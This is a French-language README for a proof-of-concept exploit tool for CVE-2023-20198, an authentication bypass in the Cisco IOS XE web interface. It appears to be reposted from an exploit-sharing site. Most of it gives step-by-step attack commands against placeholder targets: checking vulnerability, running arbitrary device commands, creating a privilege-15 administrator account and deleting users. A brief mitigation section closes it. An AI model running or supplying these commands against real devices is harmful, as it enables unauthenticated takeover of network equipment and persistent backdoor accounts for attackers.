Contournement d'authentification Cisco IOS XE (CVE-2023-20198)

Ce dépôt contient un proof-of-concept pour CVE-2023-20198, une vulnérabilité de contournement d'authentification affectant l'interface Web Cisco IOS XE.

La vulnérabilité permet à des attaquants non authentifiés d'exécuter des commandes arbitraires sur des équipements Cisco vulnérables via des requêtes SOAP malveillantes, pouvant conduire à une compromission totale de l'appareil, y compris l'exécution de commandes à distance et la création/suppression d'utilisateurs administrateurs.

Aperçu de la vulnérabilité

• CVE: CVE-2023-20198

• Produit affecté: Cisco IOS XE (interface Web / interface WSMA)

• Impact:

  • Contournement d'authentification
  • Exécution de commandes à distance (RCE)
  • Création non autorisée d'utilisateurs
  • Suppression non autorisée d'utilisateurs

• Vecteur d'attaque: Réseau (HTTP/HTTPS)

• Privilèges requis: Aucun (non authentifié)

Cette vulnérabilité est causée par une gestion incorrecte de l'authentification dans le point de terminaison Web Services Management Agent (WSMA), permettant aux attaquants de contourner l'authentification à l'aide de requêtes HTTP malveillantes.

Prérequis

• Python 3.x
• requests
• colorama

Installer les dépendances :

pip install -r requirements.txt

Utilisation

usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]

Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target Cisco IOS XE Device
  -c, --check           Check if the Target is vulnerable to CVE-2023-20198
  -C CMD, --cmd CMD     Cisco IOS XE Command to Execute
  -a, --add             Add New Username and Password
  -d, --delete          Delete existing User
  -u USERNAME, --username USERNAME
                        Username for Account Creation
  -p PASSWORD, --password PASSWORD
                        Password for Account Creation (Random Password Generated if not Provided)

Options de ligne de commande

Vérification de vulnérabilité

Vérifiez si la cible est vulnérable :

python3 exploit.py -t https://<TARGET-IP> -c

Si vulnérable, l'outil détectera automatiquement le point de terminaison WSMA exploitable et affichera les détails de l'appareil.

Exécution de commandes à distance

Exécutez des commandes sur l'appareil vulnérable :

python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"

Exemple :

python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

Ajouter un utilisateur administrateur

Créez un nouvel utilisateur administrateur de privilège 15 :

python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

Si aucun mot de passe n'est fourni, le script génère automatiquement un mot de passe sécurisé aléatoire.

Accès à l'interface Web

Avec le compte nouvellement créé, vous pouvez accéder à l'interface Web de l'appareil

Supprimer un utilisateur existant

Supprimez un utilisateur existant :

python3 exploit.py -t https://<TARGET-IP> -d -u cisco

Détection et atténuation

• Mettez à niveau Cisco IOS XE vers la dernière version corrigée

• Désactivez l'interface Web si elle n'est pas nécessaire :

  root@kitploit:~

  no ip http server
  no ip http secure-server
  

• Restreignez l'accès de gestion via les ACL

Références

• Avis Cisco — CVE-2023-20198
• NVD : CVE-2023-20198
• Documentation Cisco IOS XE WSMA
• Rapports de la communauté de recherche en sécurité